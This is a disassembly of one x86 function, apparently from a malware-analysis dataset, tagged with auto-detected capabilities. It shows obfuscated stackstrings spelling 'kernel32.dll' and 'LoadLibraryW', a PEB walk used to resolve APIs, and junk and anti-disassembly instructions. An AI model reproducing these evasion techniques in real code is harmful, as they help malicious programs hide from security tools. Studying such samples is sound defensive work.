Function at 0x4265b2
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
sub esi, 0x6c2d
call 0x426140
add byte [edx], bh
dec eax
xor eax, dword [edi + 0x4e]
cmp dword [ebp + 0x46], eax
dec edx
add esp, 4
jmp 0x42614b
pop esi
push esi
push ebx
add esp, 4
add esi, 0x2ec
pop esi
push edx
push esi
add esp, 4
and edx, 0xec66
and edx, 0x14bd7
add edx, 0x1562b
and edx, 0x7285
pop edx
push esi
xor esi, 0x10b1d
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
push ebx
add esp, 4
call 0x4261ba
add byte [edi + 0x33], cl
cmp eax, dword [ecx + 0x35]
xor cl, byte [ebp + 0x3d]
inc ebx
add esp, 4
call 0x4261c9
add byte [edx + edi + 0x4b], al
dec ebp
cmp dh, byte [esi]
add esp, 4
jmp 0x4261d1
xor ecx, 0x11045
pop ecx
cmp dword [ebp - 0x14d4], 0
jne 0x4261f0
mov dword [ebp - 0x2e0], 0
jmp 0x4264ac
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
add ecx, 0x5079
and ecx, 0xe66
pop ecx
push ebx
add ebx, 0x1169d
sub ebx, 0x140f5
pop ebx
push ecx
or ecx, 0x12283
jmp 0x42622d
or ecx, 0xa6f0
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x42624c
mov dword [ebp - 0x2e0], 0
jmp 0x4264ac
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
push edi
add esp, 4
add eax, 0x17f32
call 0x426272
add byte [ecx], bh
cmp al, 0x37
aaa
xor dh, byte [0xc483324c]
add al, 0x58
push edx
and edx, 0x7877
pop edx
push eax
push esi
add esp, 4
add eax, 0xcc72
pop eax
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
add ebx, 0xe7fe
pop ebx
push edx
or edx, 0x8637
and edx, 0x4cb6
pop edx
push ebx
call 0x4262de
add byte [esi + 0x41], cl
xor eax, dword [ebp + 0x4c]
inc esi
dec ebp
dec ecx
cmp dword [esi - 0x7d], eax
les eax, [ebx + ebp*8]
add eax, 0x3f484b44
cmp dword [ebx - 0x75], ebx
test eax, ebp
invalid
push eax
add eax, 0xc185
or eax, 0x14732
pop eax
push edx
push ecx
add esp, 4
xor edx, 0x9817
pop edx
push ecx
call 0x4264d5
add byte [ebp + ecx*2 + 0x3c], al
inc esi
cmp eax, 0x83443637
les eax, [ebx + ebp*8]
add edi, dword [esi]
cmp al, 0x3e
pop ecx
cmp dword [ebp - 0x2e0], 0
jne 0x426df7
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push eax
push ecx
add esp, 4
sub eax, 0xa929
jmp 0x426596
sub eax, 0x181c9
pop eax
push edi
xor edi, 0x3c06
call 0x4265b2
add byte [eax], bh
xor al, byte [edi + 0x3f]
dec eax
xor edi, dword [0x4c48343]
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
push eax
add esp, 4
sub edx, 0xc6df
or edx, 0x478b
pop edx
push ebx
jmp 0x426653
sub ebx, 0xcf4f
call 0x426666
add byte [ebx + 0x3c], cl
cmp al, 0x36
inc edx
aaa
xor al, byte [ebx - 0x7ca4fb3c]
mov ebp, 0xffffeb24
add byte [ebp + 0xf], dh
mov dword [ebp - 0x6ec], 0
jmp 0x42693e
push eax
add eax, 0x2d8d
add eax, 0x17cd2
call 0x426958
add byte [ebp + 0x4b], cl
dec edx
cmp eax, 0x834d3441
les eax, [ecx + eax*4]
invalid